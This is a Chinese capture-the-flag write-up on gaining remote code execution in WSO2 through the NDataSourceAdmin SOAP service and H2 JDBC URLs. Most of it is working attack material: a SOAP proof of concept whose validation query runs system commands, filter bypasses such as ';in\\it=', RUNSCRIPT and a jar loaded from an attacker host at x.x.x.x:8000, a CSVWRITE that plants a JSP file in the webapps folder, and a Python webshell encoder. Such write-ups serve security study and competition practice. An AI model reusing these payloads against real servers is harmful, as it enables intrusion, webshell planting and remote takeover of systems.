复现环境:https://gz.imxbt.cn/games/36/challenges#1412-wso2

wso2系统中在连接h2时存在一定的安全隐患,SOAP接口导致了安全问题,环境启动需4-5分钟,请耐心等待。

访问/services/Version可以探测到版本信息

访问/carbon/进入后台登录界面,在repository/conf/deployment.toml文件中可以得到admin账号密码

1
2
3
4
[super_admin]
username = "admin"
password = "abcd1234"
create_admin_account = true

可以知道当前的java版本为21

根据:Attacking WSO2 Products:RCE via Data-sources admin service

我们可以通过 NDataSourceAdmin 服务的 testDataSourceConnection 功能连接任意的JDBC URL

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
POST /services/NDataSourceAdmin.NDataSourceAdminHttpsSoap12Endpoint/ HTTP/1.1
Host: victim-host:9443
Content-Type: application/soap+xml;charset=UTF-8
SOAPAction: "urn:testDataSourceConnection"
Authorization: Basic <creds>

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
xmlns:ser="http://org.apache.axis2/xsd"
xmlns:xsd="http://org.apache.axis2/xsd"
xmlns:core="http://core.ndatasource.carbon.wso2.org/xsd">
<soap:Header/>
<soap:Body>
<ser:testDataSourceConnection>
<ser:dsmInfo>
<xsd:definition>
<xsd:dsXMLConfiguration>
<![CDATA[
<configuration xmlns:svns="http://org.wso2.securevault/configuration">
<url>jdbc:h2:/tmp/exploit-h2.db;DB_CLOSE_ON_EXIT=FALSE;LOCK_TIMEOUT=60000</url>
<username></username>
<password></password>
<driverClassName>org.h2.Driver</driverClassName>
<maxActive>50</maxActive>
<maxWait>60000</maxWait>
<testOnBorrow>true</testOnBorrow>
<validationQuery>
DROP ALIAS IF EXISTS EXEC_READ;
CREATE ALIAS EXEC_READ AS $$
String execRead(String cmd) throws Exception {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
throw new RuntimeException("CMD OUTPUT:\n" + sb.toString());
}
$$;
CALL EXEC_READ('id');
</validationQuery>
<validationInterval>30000</validationInterval>
<defaultAutoCommit>true</defaultAutoCommit>
</configuration>
]]>
</xsd:dsXMLConfiguration>
<xsd:type>RDBMS</xsd:type>
</xsd:definition>
<xsd:description>Test H2 Database Connection</xsd:description>
<xsd:jndiConfig>
<core:name>jdbc/TestH2DB</core:name>
<core:useDataSourceFactory>false</core:useDataSourceFactory>
</xsd:jndiConfig>
<xsd:name>TEST_H2_DB</xsd:name>
<xsd:system>false</xsd:system>
</ser:dsmInfo>
</ser:testDataSourceConnection>
</soap:Body>
</soap:Envelope>

尝试利用发现报错:Validation query is too long

看到源码:org.wso2.carbon.ndatasource.core.services.NDataSourceAdminService#testDataSourceConnection

org.wso2.carbon.ndatasource.core.DataSourceRepository#testDataSourceConnection

org.wso2.carbon.ndatasource.rdbms.RDBMSDataSourceReader#testDataSourceConnection

第一个过滤,url中不允许存在;init=

第二个过滤,限制了validationQuery长度不能大于280

出网利用

长度限制还是很好绕过的,直接远程加载即可,RUNSCRIPT FROM 'http://x.x.x.x:8000/poc.sql';
简单执行发现

该环境没有javac,无法编译 Java 代码,而且为JDK高版本,参考:
H2 RCE 在 JRE 17 环境下的利用
H2 RCE在JRE 17环境下的利用-续集

环境中没有spring,所以选择方案二

1
2
3
4
5
6
7
8
9
10
CREATE ALIAS Utils_INSTANCE FOR 'org.h2.util.Utils.newInstance(java.lang.String,java.lang.Object[])';
SET @classname_str='java.net.URL';
CREATE ALIAS UNESCAPE_VALUE FOR 'javax.naming.ldap.Rdn.unescapeValue(java.lang.String)';
SET @url_str='http://x.x.x.x:8000/1.jar';
SET @url_obj=UNESCAPE_VALUE(@url_str);
SET @url_object=Utils_INSTANCE(@classname_str,@url_obj);
CREATE ALIAS System_INSTANCE FOR 'java.lang.System.setProperty(java.lang.String,java.lang.String)';
CALL System_INSTANCE('jdk.sound.jarsoundbank','true');
CREATE ALIAS MidiSystem_INSTANCE FOR 'javax.sound.midi.MidiSystem.getSoundbank(java.net.URL)';
CALL MidiSystem_INSTANCE(@url_object);

通过报错回显

1
2
javac src/Evil.java
jar -cvf payload.jar -C src/ .

得到flag

不出网利用

选择从第一个过滤url入手,绕过方法其实很多:

1
2
;in\it=
;ıNIT=

但没找到文件上传点,无法通过上面的方法加载jar包,考虑写文件操作

参考:泛微emobile6.5 6.6前台SQL注入漏洞分析

CSVWRITE 可以将 SELECT 查询的结果直接写入一个CSV文件,绝对路径在管理员首页可以看到

1
<url>jdbc:h2:/tmp/exploit-h2.db;DB_CLOSE_ON_EXIT=FALSE;LOCK_TIMEOUT=60000;in\it=CALL CSVWRITE('/opt/wso2am/repository/deployment/server/webapps/publisher/123.jsp','select HEXTORAW(''003c002500200020006f00750074002e007000720069006e00740028002200360036003600360036003600360036003600220029003b00200025003e'')','charset=UTF-8 escape= fieldDelimiter= writeColumnHeader=false');</url>

成功写入文件,生成hex的python脚本:

1
2
3
4
5
6
7
8
9
10
import binascii 
webshell = b'''webshell'''
a = binascii.b2a_hex(webshell)
b = a.decode()
list_b = list(b)
for indx, val in enumerate(list_b):
if indx % 3 == 0:
list_b.insert(indx, '00')
aaa = ''.join(list_b)
print(aaa)

成功RCE

参考:第三届长城杯半决赛-wso2:SOAP管理接口+H2文件读写绕过waf